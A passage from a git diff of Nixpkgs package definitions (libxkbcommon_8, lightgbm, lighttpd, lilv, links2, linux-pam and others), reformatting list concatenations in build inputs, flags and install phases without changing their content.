+        "-DLWS_LINK_TESTAPPS_DYNAMIC=ON"
+      ]
+  );
 
   postInstall = ''
     # Fix path that will be incorrect on move to "dev" output.
diff --git a/pkgs/by-name/li/libx86/package.nix b/pkgs/by-name/li/libx86/package.nix
index 487c24e18cd6..c32d53d8651c 100644
--- a/pkgs/by-name/li/libx86/package.nix
+++ b/pkgs/by-name/li/libx86/package.nix
@@ -20,7 +20,8 @@ stdenv.mkDerivation rec {
   #  http://www.mail-archive.com/suspend-devel@lists.sourceforge.net/msg02355.html
   makeFlags = [
     "DESTDIR=$(out)"
-  ] ++ lib.optional (!stdenv.hostPlatform.isi686) "BACKEND=x86emu";
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isi686) "BACKEND=x86emu";
 
   preBuild = ''
     sed -i lrmi.c -e 's@defined(__i386__)@(defined(__i386__) || defined(__x86_64__))@'
diff --git a/pkgs/by-name/li/libxisf/package.nix b/pkgs/by-name/li/libxisf/package.nix
index 60cea171bfde..a421b6594b2f 100644
--- a/pkgs/by-name/li/libxisf/package.nix
+++ b/pkgs/by-name/li/libxisf/package.nix
@@ -33,7 +33,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   cmakeFlags = [
     "-DUSE_BUNDLED_LIBS=OFF"
-  ] ++ lib.optional stdenv.hostPlatform.isStatic "-DBUILD_SHARED_LIBS=OFF";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isStatic "-DBUILD_SHARED_LIBS=OFF";
 
   buildInputs = [
     lz4
diff --git a/pkgs/by-name/li/libxkbcommon_8/package.nix b/pkgs/by-name/li/libxkbcommon_8/package.nix
index 53cb92844de2..e53f1d542219 100644
--- a/pkgs/by-name/li/libxkbcommon_8/package.nix
+++ b/pkgs/by-name/li/libxkbcommon_8/package.nix
@@ -52,17 +52,17 @@ stdenv.mkDerivation (finalAttrs: {
     bison
     doxygen
     xorg.xvfb
-  ] ++ lib.optional withWaylandTools wayland-scanner;
-  buildInputs =
-    [
-      xkeyboard_config
-      libxcb
-      libxml2
-    ]
-    ++ lib.optionals withWaylandTools [
-      wayland
-      wayland-protocols
-    ];
+  ]
+  ++ lib.optional withWaylandTools wayland-scanner;
+  buildInputs = [
+    xkeyboard_config
+    libxcb
+    libxml2
+  ]
+  ++ lib.optionals withWaylandTools [
+    wayland
+    wayland-protocols
+  ];
   nativeCheckInputs = [ python3 ];
 
   mesonFlags = [
diff --git a/pkgs/by-name/li/libxklavier/package.nix b/pkgs/by-name/li/libxklavier/package.nix
index aacab4527abb..acb02a343f54 100644
--- a/pkgs/by-name/li/libxklavier/package.nix
+++ b/pkgs/by-name/li/libxklavier/package.nix
@@ -26,21 +26,21 @@ stdenv.mkDerivation rec {
     sha256 = "1w1x5mrgly2ldiw3q2r6y620zgd89gk7n90ja46775lhaswxzv7a";
   };
 
-  patches =
-    [
-      ./honor-XKB_CONFIG_ROOT.patch
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (fetchpatch {
-        url = "https://gitlab.freedesktop.org/archived-projects/libxklavier/-/commit/1387c21a788ec1ea203c8392ea1460fc29d83f70.patch";
-        sha256 = "sha256-fyWu7sVfDv/ozjhLSLCVsv+iNFawWgJqHUsQHHSkQn4=";
-      })
-    ];
+  patches = [
+    ./honor-XKB_CONFIG_ROOT.patch
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (fetchpatch {
+      url = "https://gitlab.freedesktop.org/archived-projects/libxklavier/-/commit/1387c21a788ec1ea203c8392ea1460fc29d83f70.patch";
+      sha256 = "sha256-fyWu7sVfDv/ozjhLSLCVsv+iNFawWgJqHUsQHHSkQn4=";
+    })
+  ];
 
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optionals withDoc [ "devdoc" ];
+  ]
+  ++ lib.optionals withDoc [ "devdoc" ];
 
   # TODO: enable xmodmap support, needs xmodmap DB
   propagatedBuildInputs = with xorg; [
diff --git a/pkgs/by-name/li/libxmlb/package.nix b/pkgs/by-name/li/libxmlb/package.nix
index 91137b535c89..e0d778528d5d 100644
--- a/pkgs/by-name/li/libxmlb/package.nix
+++ b/pkgs/by-name/li/libxmlb/package.nix
@@ -25,16 +25,15 @@ stdenv.mkDerivation rec {
   pname = "libxmlb";
   version = "0.3.22";
 
-  outputs =
-    [
-      "out"
-      "lib"
-      "dev"
-      "installedTests"
-    ]
-    ++ lib.optionals withIntrospection [
-      "devdoc"
-    ];
+  outputs = [
+    "out"
+    "lib"
+    "dev"
+    "installedTests"
+  ]
+  ++ lib.optionals withIntrospection [
+    "devdoc"
+  ];
 
   src = fetchFromGitHub {
     owner = "hughsie";
@@ -47,20 +46,19 @@ stdenv.mkDerivation rec {
     ./installed-tests-path.patch
   ];
 
-  nativeBuildInputs =
-    [
-      docbook_xml_dtd_43
-      docbook-xsl-nons
-      meson
-      ninja
-      pkg-config
-      python3
-      shared-mime-info
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-      gtk-doc
-    ];
+  nativeBuildInputs = [
+    docbook_xml_dtd_43
+    docbook-xsl-nons
+    meson
+    ninja
+    pkg-config
+    python3
+    shared-mime-info
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+    gtk-doc
+  ];
 
   buildInputs = [
     glib
diff --git a/pkgs/by-name/li/libyafaray/package.nix b/pkgs/by-name/li/libyafaray/package.nix
index 69d2aaad0466..921393408c3b 100644
--- a/pkgs/by-name/li/libyafaray/package.nix
+++ b/pkgs/by-name/li/libyafaray/package.nix
@@ -46,7 +46,8 @@ stdenv.mkDerivation {
     openexr
     swig
     zlib
-  ] ++ lib.optional withPython python3;
+  ]
+  ++ lib.optional withPython python3;
 
   meta = with lib; {
     description = "Free, open source raytracer";
diff --git a/pkgs/by-name/li/libzakalwe/package.nix b/pkgs/by-name/li/libzakalwe/package.nix
index 912eae924579..6d7e3c427fb5 100644
--- a/pkgs/by-name/li/libzakalwe/package.nix
+++ b/pkgs/by-name/li/libzakalwe/package.nix
@@ -21,15 +21,14 @@ stdenv.mkDerivation (finalAttrs: {
     "dev"
   ];
 
-  postPatch =
-    ''
-      substituteInPlace Makefile.in \
-        --replace-fail 'libzakalwe.so' "libzakalwe${stdenv.hostPlatform.extensions.sharedLibrary}"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace Makefile.in \
-        --replace-fail '-soname' '-install_name'
-    '';
+  postPatch = ''
+    substituteInPlace Makefile.in \
+      --replace-fail 'libzakalwe.so' "libzakalwe${stdenv.hostPlatform.extensions.sharedLibrary}"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace Makefile.in \
+      --replace-fail '-soname' '-install_name'
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/li/libzbc/package.nix b/pkgs/by-name/li/libzbc/package.nix
index d7c00b7b296e..f4e935ae12e7 100644
--- a/pkgs/by-name/li/libzbc/package.nix
+++ b/pkgs/by-name/li/libzbc/package.nix
@@ -23,7 +23,8 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     autoreconfHook
     libtool
-  ] ++ lib.optionals guiSupport [ pkg-config ];
+  ]
+  ++ lib.optionals guiSupport [ pkg-config ];
 
   buildInputs = lib.optionals guiSupport [ gtk3 ];
 
diff --git a/pkgs/by-name/li/libzbd/package.nix b/pkgs/by-name/li/libzbd/package.nix
index 2276e1dfc4d5..d40745a6b825 100644
--- a/pkgs/by-name/li/libzbd/package.nix
+++ b/pkgs/by-name/li/libzbd/package.nix
@@ -25,7 +25,8 @@ stdenv.mkDerivation rec {
     autoconf-archive # this can be removed with the next release
     autoreconfHook
     libtool
-  ] ++ lib.optionals guiSupport [ pkg-config ];
+  ]
+  ++ lib.optionals guiSupport [ pkg-config ];
 
   buildInputs = lib.optionals guiSupport [ gtk3 ];
 
diff --git a/pkgs/by-name/li/liferea/package.nix b/pkgs/by-name/li/liferea/package.nix
index 270a2a49e7b9..2611b3396f91 100644
--- a/pkgs/by-name/li/liferea/package.nix
+++ b/pkgs/by-name/li/liferea/package.nix
@@ -41,28 +41,27 @@ stdenv.mkDerivation rec {
     gobject-introspection
   ];
 
-  buildInputs =
-    [
-      glib
-      gtk3
-      webkitgtk_4_1
-      libxml2
-      libxslt
-      sqlite
-      libsoup_3
-      libpeas
-      gsettings-desktop-schemas
-      json-glib
-      libsecret
-      glib-networking
-      libnotify
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-    ]);
+  buildInputs = [
+    glib
+    gtk3
+    webkitgtk_4_1
+    libxml2
+    libxslt
+    sqlite
+    libsoup_3
+    libpeas
+    gsettings-desktop-schemas
+    json-glib
+    libsecret
+    glib-networking
+    libnotify
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+  ]);
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/li/lightgbm/package.nix b/pkgs/by-name/li/lightgbm/package.nix
index ee829c4e9cb8..26781ab3a0c8 100644
--- a/pkgs/by-name/li/lightgbm/package.nix
+++ b/pkgs/by-name/li/lightgbm/package.nix
@@ -92,22 +92,23 @@ stdenv.mkDerivation (finalAttrs: {
     rm tests/cpp_tests/test_arrow.cpp
   '';
 
-  nativeBuildInputs =
-    [ cmake ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ llvmPackages.openmp ]
-    ++ lib.optionals openclSupport [
-      opencl-headers
-      ocl-icd
-      boost
-    ]
-    ++ lib.optionals mpiSupport [ openmpi ]
-    ++ lib.optionals hdfsSupport [ hadoop ]
-    ++ lib.optionals (hdfsSupport || javaWrapper) [ openjdk ]
-    ++ lib.optionals javaWrapper [ swig ]
-    ++ lib.optionals rLibrary [
-      R
-      pandoc
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ llvmPackages.openmp ]
+  ++ lib.optionals openclSupport [
+    opencl-headers
+    ocl-icd
+    boost
+  ]
+  ++ lib.optionals mpiSupport [ openmpi ]
+  ++ lib.optionals hdfsSupport [ hadoop ]
+  ++ lib.optionals (hdfsSupport || javaWrapper) [ openjdk ]
+  ++ lib.optionals javaWrapper [ swig ]
+  ++ lib.optionals rLibrary [
+    R
+    pandoc
+  ];
 
   buildInputs = [ gtest ] ++ lib.optional cudaSupport cudaPackages.cudatoolkit;
 
@@ -161,48 +162,47 @@ stdenv.mkDerivation (finalAttrs: {
 
   inherit doCheck;
 
-  installPhase =
-    ''
-      runHook preInstall
-    ''
-    + lib.optionalString (!rLibrary) ''
-      mkdir -p $out
-      mkdir -p $out/lib
-      mkdir -p $out/bin
-      cp -r ../include $out
-      install -Dm755 ../lib_lightgbm${stdenv.hostPlatform.extensions.sharedLibrary} $out/lib/lib_lightgbm${stdenv.hostPlatform.extensions.sharedLibrary}
-    ''
-    + lib.optionalString (!rLibrary && !pythonLibrary) ''
-      install -Dm755 ../lightgbm $out/bin/lightgbm
-    ''
-    + lib.optionalString javaWrapper ''
-      cp -r java $out
-      cp -r com $out
-      cp -r lightgbmlib.jar $out
-    ''
-    + ''''
-    + lib.optionalString rLibrary ''
-      mkdir $out
-      mkdir $out/tmp
-      mkdir $out/library
-      mkdir $out/library/lightgbm
-    ''
-    + lib.optionalString (rLibrary && (!openclSupport)) ''
-      Rscript build_r.R \
-        -j$NIX_BUILD_CORES
-      rm -rf $out/tmp
-    ''
-    + lib.optionalString (rLibrary && openclSupport) ''
-      Rscript build_r.R --use-gpu \
-        --opencl-library=${ocl-icd}/lib/libOpenCL.so \
-        --opencl-include-dir=${opencl-headers}/include \
-        --boost-librarydir=${boost} \
-        -j$NIX_BUILD_CORES
-      rm -rf $out/tmp
-    ''
-    + ''
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+  ''
+  + lib.optionalString (!rLibrary) ''
+    mkdir -p $out
+    mkdir -p $out/lib
+    mkdir -p $out/bin
+    cp -r ../include $out
+    install -Dm755 ../lib_lightgbm${stdenv.hostPlatform.extensions.sharedLibrary} $out/lib/lib_lightgbm${stdenv.hostPlatform.extensions.sharedLibrary}
+  ''
+  + lib.optionalString (!rLibrary && !pythonLibrary) ''
+    install -Dm755 ../lightgbm $out/bin/lightgbm
+  ''
+  + lib.optionalString javaWrapper ''
+    cp -r java $out
+    cp -r com $out
+    cp -r lightgbmlib.jar $out
+  ''
+  + ''''
+  + lib.optionalString rLibrary ''
+    mkdir $out
+    mkdir $out/tmp
+    mkdir $out/library
+    mkdir $out/library/lightgbm
+  ''
+  + lib.optionalString (rLibrary && (!openclSupport)) ''
+    Rscript build_r.R \
+      -j$NIX_BUILD_CORES
+    rm -rf $out/tmp
+  ''
+  + lib.optionalString (rLibrary && openclSupport) ''
+    Rscript build_r.R --use-gpu \
+      --opencl-library=${ocl-icd}/lib/libOpenCL.so \
+      --opencl-include-dir=${opencl-headers}/include \
+      --boost-librarydir=${boost} \
+      -j$NIX_BUILD_CORES
+    rm -rf $out/tmp
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   postFixup = lib.optionalString rLibrary ''
     if test -e $out/nix-support/propagated-build-inputs; then
diff --git a/pkgs/by-name/li/lighthouse/package.nix b/pkgs/by-name/li/lighthouse/package.nix
index c024b07db1ab..caeace35d0c6 100644
--- a/pkgs/by-name/li/lighthouse/package.nix
+++ b/pkgs/by-name/li/lighthouse/package.nix
@@ -49,14 +49,13 @@ rustPlatform.buildRustPackage rec {
     protobuf
   ];
 
-  buildInputs =
-    [
-      rust-jemalloc-sys
-      sqlite
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      openssl
-    ];
+  buildInputs = [
+    rust-jemalloc-sys
+    sqlite
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    openssl
+  ];
 
   depositContractSpec = fetchurl {
     url = "https://raw.githubusercontent.com/ethereum/eth2.0-specs/v${depositContractSpecVersion}/deposit_contract/contracts/validator_registration.json";
@@ -96,27 +95,26 @@ rustPlatform.buildRustPackage rec {
   ];
 
   # All of these tests require network access
-  checkFlags =
-    [
-      "--skip basic"
-      "--skip deposit_tree::cache_consistency"
-      "--skip deposit_tree::double_update"
-      "--skip deposit_tree::updating"
-      "--skip eth1_cache::big_skip"
-      "--skip eth1_cache::double_update"
-      "--skip eth1_cache::pruning"
-      "--skip eth1_cache::simple_scenario"
-      "--skip fast::deposit_cache_query"
-      "--skip http::incrementing_deposits"
-      "--skip persist::test_persist_caches"
-      "--skip service::tests::tests::test_dht_persistence"
-      "--skip time::test::test_reinsertion_updates_timeout"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isDarwin) [
-      "--skip subnet_service::tests::attestation_service::test_subscribe_same_subnet_several_slots_apart"
-      "--skip subnet_service::tests::sync_committee_service::same_subscription_with_lower_until_epoch"
-      "--skip subnet_service::tests::sync_committee_service::subscribe_and_unsubscribe"
-    ];
+  checkFlags = [
+    "--skip basic"
+    "--skip deposit_tree::cache_consistency"
+    "--skip deposit_tree::double_update"
+    "--skip deposit_tree::updating"
+    "--skip eth1_cache::big_skip"
+    "--skip eth1_cache::double_update"
+    "--skip eth1_cache::pruning"
+    "--skip eth1_cache::simple_scenario"
+    "--skip fast::deposit_cache_query"
+    "--skip http::incrementing_deposits"
+    "--skip persist::test_persist_caches"
+    "--skip service::tests::tests::test_dht_persistence"
+    "--skip time::test::test_reinsertion_updates_timeout"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isDarwin) [
+    "--skip subnet_service::tests::attestation_service::test_subscribe_same_subnet_several_slots_apart"
+    "--skip subnet_service::tests::sync_committee_service::same_subscription_with_lower_until_epoch"
+    "--skip subnet_service::tests::sync_committee_service::subscribe_and_unsubscribe"
+  ];
 
   passthru = {
     tests.version = testers.testVersion {
diff --git a/pkgs/by-name/li/lighttpd/package.nix b/pkgs/by-name/li/lighttpd/package.nix
index edfd21231602..6962e9bcc0c0 100644
--- a/pkgs/by-name/li/lighttpd/package.nix
+++ b/pkgs/by-name/li/lighttpd/package.nix
@@ -53,37 +53,37 @@ stdenv.mkDerivation rec {
     autoreconfHook
     pkg-config
   ];
-  buildInputs =
-    [
-      pcre2
-      pcre2.dev
-      libxml2
-      zlib
-      bzip2
-      which
-      file
-      openssl
-    ]
-    ++ lib.optional enableDbi libdbi
-    ++ lib.optional enableMagnet lua5_1
-    ++ lib.optional enableMysql libmysqlclient
-    ++ lib.optional enableLdap openldap
-    ++ lib.optional enablePam linux-pam
-    ++ lib.optional enableSasl cyrus_sasl
-    ++ lib.optional enableWebDAV sqlite
-    ++ lib.optional enableWebDAV libuuid;
+  buildInputs = [
+    pcre2
+    pcre2.dev
+    libxml2
+    zlib
+    bzip2
+    which
+    file
+    openssl
+  ]
+  ++ lib.optional enableDbi libdbi
+  ++ lib.optional enableMagnet lua5_1
+  ++ lib.optional enableMysql libmysqlclient
+  ++ lib.optional enableLdap openldap
+  ++ lib.optional enablePam linux-pam
+  ++ lib.optional enableSasl cyrus_sasl
+  ++ lib.optional enableWebDAV sqlite
+  ++ lib.optional enableWebDAV libuuid;
 
-  configureFlags =
-    [ "--with-openssl" ]
-    ++ lib.optional enableDbi "--with-dbi"
-    ++ lib.optional enableMagnet "--with-lua"
-    ++ lib.optional enableMysql "--with-mysql"
-    ++ lib.optional enableLdap "--with-ldap"
-    ++ lib.optional enablePam "--with-pam"
-    ++ lib.optional enableSasl "--with-sasl"
-    ++ lib.optional enableWebDAV "--with-webdav-props"
-    ++ lib.optional enableWebDAV "--with-webdav-locks"
-    ++ lib.optional enableExtendedAttrs "--with-attr";
+  configureFlags = [
+    "--with-openssl"
+  ]
+  ++ lib.optional enableDbi "--with-dbi"
+  ++ lib.optional enableMagnet "--with-lua"
+  ++ lib.optional enableMysql "--with-mysql"
+  ++ lib.optional enableLdap "--with-ldap"
+  ++ lib.optional enablePam "--with-pam"
+  ++ lib.optional enableSasl "--with-sasl"
+  ++ lib.optional enableWebDAV "--with-webdav-props"
+  ++ lib.optional enableWebDAV "--with-webdav-locks"
+  ++ lib.optional enableExtendedAttrs "--with-attr";
 
   preConfigure = ''
     export PATH=$PATH:${pcre2.dev}/bin
diff --git a/pkgs/by-name/li/lilv/package.nix b/pkgs/by-name/li/lilv/package.nix
index 32b0bb70bf36..4935cb394ee9 100644
--- a/pkgs/by-name/li/lilv/package.nix
+++ b/pkgs/by-name/li/lilv/package.nix
@@ -46,24 +46,23 @@ stdenv.mkDerivation rec {
   ];
   propagatedBuildInputs = [ lv2 ];
 
-  mesonFlags =
-    [
-      (lib.mesonOption "docs" "disabled")
-      # Tests require building a shared library.
-      (lib.mesonEnable "tests" (!stdenv.hostPlatform.isStatic))
-    ]
-    # Add nix and NixOS specific lv2 paths
-    # The default values are from: https://github.com/lv2/lilv/blob/master/src/lilv_config.h
-    ++ lib.optional stdenv.hostPlatform.isDarwin (
-      lib.mesonOption "default_lv2_path" "~/.lv2:~/Library/Audio/Plug-Ins/LV2:"
-      + "/usr/local/lib/lv2:/usr/lib/lv2:"
-      + "/Library/Audio/Plug-Ins/LV2:"
-      + "~/.nix-profile/lib/lv2"
-    )
-    ++ lib.optional stdenv.hostPlatform.isLinux (
-      lib.mesonOption "default_lv2_path" "~/.lv2:/usr/local/lib/lv2:/usr/lib/lv2:"
-      + "~/.nix-profile/lib/lv2:/run/current-system/sw/lib/lv2"
-    );
+  mesonFlags = [
+    (lib.mesonOption "docs" "disabled")
+    # Tests require building a shared library.
+    (lib.mesonEnable "tests" (!stdenv.hostPlatform.isStatic))
+  ]
+  # Add nix and NixOS specific lv2 paths
+  # The default values are from: https://github.com/lv2/lilv/blob/master/src/lilv_config.h
+  ++ lib.optional stdenv.hostPlatform.isDarwin (
+    lib.mesonOption "default_lv2_path" "~/.lv2:~/Library/Audio/Plug-Ins/LV2:"
+    + "/usr/local/lib/lv2:/usr/lib/lv2:"
+    + "/Library/Audio/Plug-Ins/LV2:"
+    + "~/.nix-profile/lib/lv2"
+  )
+  ++ lib.optional stdenv.hostPlatform.isLinux (
+    lib.mesonOption "default_lv2_path" "~/.lv2:/usr/local/lib/lv2:/usr/lib/lv2:"
+    + "~/.nix-profile/lib/lv2:/run/current-system/sw/lib/lv2"
+  );
 
   passthru = {
     tests = {
diff --git a/pkgs/by-name/li/limine/package.nix b/pkgs/by-name/li/limine/package.nix
index 36786b404df2..40ba59d7682e 100644
--- a/pkgs/by-name/li/limine/package.nix
+++ b/pkgs/by-name/li/limine/package.nix
@@ -54,16 +54,15 @@ stdenv.mkDerivation (finalAttrs: {
 
   enableParallelBuilding = true;
 
-  nativeBuildInputs =
-    [
-      llvmPackages.clang-unwrapped
-      llvmPackages.libllvm
-      llvmPackages.lld
-    ]
-    ++ lib.optionals (enableAll || buildCDs) [
-      mtools
-    ]
-    ++ lib.optionals hasX86 [ nasm ];
+  nativeBuildInputs = [
+    llvmPackages.clang-unwrapped
+    llvmPackages.libllvm
+    llvmPackages.lld
+  ]
+  ++ lib.optionals (enableAll || buildCDs) [
+    mtools
+  ]
+  ++ lib.optionals hasX86 [ nasm ];
 
   outputs = [
     "out"
diff --git a/pkgs/by-name/li/limo/package.nix b/pkgs/by-name/li/limo/package.nix
index 2efce77c2cd4..d6ee2077b721 100644
--- a/pkgs/by-name/li/limo/package.nix
+++ b/pkgs/by-name/li/limo/package.nix
@@ -43,34 +43,32 @@ stdenv.mkDerivation (finalAttrs: {
     libsForQt5.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      jsoncpp
-      libarchive
-      libcpr
-      libloot
-      lz4
-      pugixml
+  buildInputs = [
+    jsoncpp
+    libarchive
+    libcpr
+    libloot
+    lz4
+    pugixml
 
-      libsForQt5.qtbase
-      libsForQt5.qtsvg
-      libsForQt5.qtwayland
-    ]
-    ++ lib.optionals withUnrar [
-      unrar
-    ];
+    libsForQt5.qtbase
+    libsForQt5.qtsvg
+    libsForQt5.qtwayland
+  ]
+  ++ lib.optionals withUnrar [
+    unrar
+  ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeFeature "LIMO_INSTALL_PREFIX" (placeholder "out"))
-    ]
-    ++ lib.optionals (withUnrar) [
-      (lib.cmakeBool "USE_SYSTEM_LIBUNRAR" true)
-    ]
-    ++ lib.optionals (!withUnrar) [
-      (lib.cmakeFeature "LIBUNRAR_PATH" "")
-      (lib.cmakeFeature "LIBUNRAR_INCLUDE_DIR" "")
-    ];
+  cmakeFlags = [
+    (lib.cmakeFeature "LIMO_INSTALL_PREFIX" (placeholder "out"))
+  ]
+  ++ lib.optionals (withUnrar) [
+    (lib.cmakeBool "USE_SYSTEM_LIBUNRAR" true)
+  ]
+  ++ lib.optionals (!withUnrar) [
+    (lib.cmakeFeature "LIBUNRAR_PATH" "")
+    (lib.cmakeFeature "LIBUNRAR_INCLUDE_DIR" "")
+  ];
 
   meta = {
     description = "General purpose mod manager with support for the NexusMods API and LOOT";
diff --git a/pkgs/by-name/li/linbox/package.nix b/pkgs/by-name/li/linbox/package.nix
index c6821aa2f872..fe715967282b 100644
--- a/pkgs/by-name/li/linbox/package.nix
+++ b/pkgs/by-name/li/linbox/package.nix
@@ -63,22 +63,21 @@ stdenv.mkDerivation rec {
     fflas-ffpack
   ];
 
-  configureFlags =
-    [
-      "--with-blas-libs=-lblas"
-      "--without-archnative"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isx86_64 [
-      # disable SIMD instructions (which are enabled *when available* by default)
-      "--${if stdenv.hostPlatform.sse3Support then "enable" else "disable"}-sse3"
-      "--${if stdenv.hostPlatform.ssse3Support then "enable" else "disable"}-ssse3"
-      "--${if stdenv.hostPlatform.sse4_1Support then "enable" else "disable"}-sse41"
-      "--${if stdenv.hostPlatform.sse4_2Support then "enable" else "disable"}-sse42"
-      "--${if stdenv.hostPlatform.avxSupport then "enable" else "disable"}-avx"
-      "--${if stdenv.hostPlatform.avx2Support then "enable" else "disable"}-avx2"
-      "--${if stdenv.hostPlatform.fmaSupport then "enable" else "disable"}-fma"
-      "--${if stdenv.hostPlatform.fma4Support then "enable" else "disable"}-fma4"
-    ];
+  configureFlags = [
+    "--with-blas-libs=-lblas"
+    "--without-archnative"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86_64 [
+    # disable SIMD instructions (which are enabled *when available* by default)
+    "--${if stdenv.hostPlatform.sse3Support then "enable" else "disable"}-sse3"
+    "--${if stdenv.hostPlatform.ssse3Support then "enable" else "disable"}-ssse3"
+    "--${if stdenv.hostPlatform.sse4_1Support then "enable" else "disable"}-sse41"
+    "--${if stdenv.hostPlatform.sse4_2Support then "enable" else "disable"}-sse42"
+    "--${if stdenv.hostPlatform.avxSupport then "enable" else "disable"}-avx"
+    "--${if stdenv.hostPlatform.avx2Support then "enable" else "disable"}-avx2"
+    "--${if stdenv.hostPlatform.fmaSupport then "enable" else "disable"}-fma"
+    "--${if stdenv.hostPlatform.fma4Support then "enable" else "disable"}-fma4"
+  ];
 
   # https://github.com/linbox-team/linbox/issues/304
   hardeningDisable = [ "fortify3" ];
diff --git a/pkgs/by-name/li/linenoise/package.nix b/pkgs/by-name/li/linenoise/package.nix
index acf8cf3e258c..ed7560ca8fae 100644
--- a/pkgs/by-name/li/linenoise/package.nix
+++ b/pkgs/by-name/li/linenoise/package.nix
@@ -19,7 +19,8 @@ stdenv.mkDerivation {
 
   nativeBuildInputs = [
     validatePkgConfig
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ];
 
   buildPhase = ''
     runHook preBuild
diff --git a/pkgs/by-name/li/lingot/package.nix b/pkgs/by-name/li/lingot/package.nix
index 88df150b004e..a9f6019f97c3 100644
--- a/pkgs/by-name/li/lingot/package.nix
+++ b/pkgs/by-name/li/lingot/package.nix
@@ -37,7 +37,8 @@ stdenv.mkDerivation rec {
     fftw
     fftwFloat
     json_c
-  ] ++ lib.optional jackSupport libjack2;
+  ]
+  ++ lib.optional jackSupport libjack2;
 
   configureFlags = lib.optional (!jackSupport) "--disable-jack";
 
diff --git a/pkgs/by-name/li/links2/package.nix b/pkgs/by-name/li/links2/package.nix
index fbeed583d485..4d9e4d4628b0 100644
--- a/pkgs/by-name/li/links2/package.nix
+++ b/pkgs/by-name/li/links2/package.nix
@@ -32,38 +32,38 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-xGMca1oRUnzcPLeHL8I7fyslwrAh1Za+QQ2ttAMV8WY=";
   };
 
-  buildInputs =
-    [
-      libev
-      librsvg
-      libpng
-      libjpeg
-      libtiff
-      libavif
-      openssl
-      xz
-      bzip2
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ gpm ]
-    ++ lib.optionals enableX11 [
-      libX11
-      libXau
-      libXt
-    ]
-    ++ lib.optionals enableDirectFB [ directfb ];
+  buildInputs = [
+    libev
+    librsvg
+    libpng
+    libjpeg
+    libtiff
+    libavif
+    openssl
+    xz
+    bzip2
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ gpm ]
+  ++ lib.optionals enableX11 [
+    libX11
+    libXau
+    libXt
+  ]
+  ++ lib.optionals enableDirectFB [ directfb ];
 
   nativeBuildInputs = [
     pkg-config
     bzip2
   ];
 
-  configureFlags =
-    [ "--with-ssl" ]
-    ++ lib.optional (enableX11 || enableFB || enableDirectFB) "--enable-graphics"
-    ++ lib.optional enableX11 "--with-x"
-    ++ lib.optional enableFB "--with-fb"
-    ++ lib.optional enableDirectFB "--with-directfb";
+  configureFlags = [
+    "--with-ssl"
+  ]
+  ++ lib.optional (enableX11 || enableFB || enableDirectFB) "--enable-graphics"
+  ++ lib.optional enableX11 "--with-x"
+  ++ lib.optional enableFB "--with-fb"
+  ++ lib.optional enableDirectFB "--with-directfb";
 
   env = lib.optionalAttrs stdenv.cc.isClang {
     NIX_CFLAGS_COMPILE = "-Wno-error=implicit-int";
diff --git a/pkgs/by-name/li/linux-pam/package.nix b/pkgs/by-name/li/linux-pam/package.nix
index 03bbf3299520..030762cd64f5 100644
--- a/pkgs/by-name/li/linux-pam/package.nix
+++ b/pkgs/by-name/li/linux-pam/package.nix
@@ -47,12 +47,14 @@ stdenv.mkDerivation rec {
     flex
     autoreconfHook269
     pkg-config-unwrapped
-  ] ++ lib.optional stdenv.buildPlatform.isDarwin gettext;
+  ]
+  ++ lib.optional stdenv.buildPlatform.isDarwin gettext;
 
   buildInputs = [
     db4
     libxcrypt
-  ] ++ lib.optional stdenv.buildPlatform.isLinux audit;
+  ]
+  ++ lib.optional stdenv.buildPlatform.isLinux audit;
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/li/linuxdoc-tools/package.nix b/pkgs/by-name/li/linuxdoc-tools/package.nix
index ce39d91de2a0..3da32b0f6fd4 100644
--- a/pkgs/by-name/li/linuxdoc-tools/package.nix
+++ b/pkgs/by-name/li/linuxdoc-tools/package.nix
@@ -73,7 +73,8 @@ stdenv.mkDerivation rec {
     perl
     gnused
     coreutils
-  ] ++ lib.optionals withLatex [ texliveMedium ];
+  ]
+  ++ lib.optionals withLatex [ texliveMedium ];
 
   meta = with lib; {
     description = "Toolset for processing LinuxDoc DTD SGML files";
diff --git a/pkgs/by-name/li/listenbrainz-mpd/package.nix b/pkgs/by-name/li/listenbrainz-mpd/package.nix
index 63ac2e3b1040..6e473ad6d7aa 100644
--- a/pkgs/by-name/li/listenbrainz-mpd/package.nix
+++ b/pkgs/by-name/li/listenbrainz-mpd/package.nix
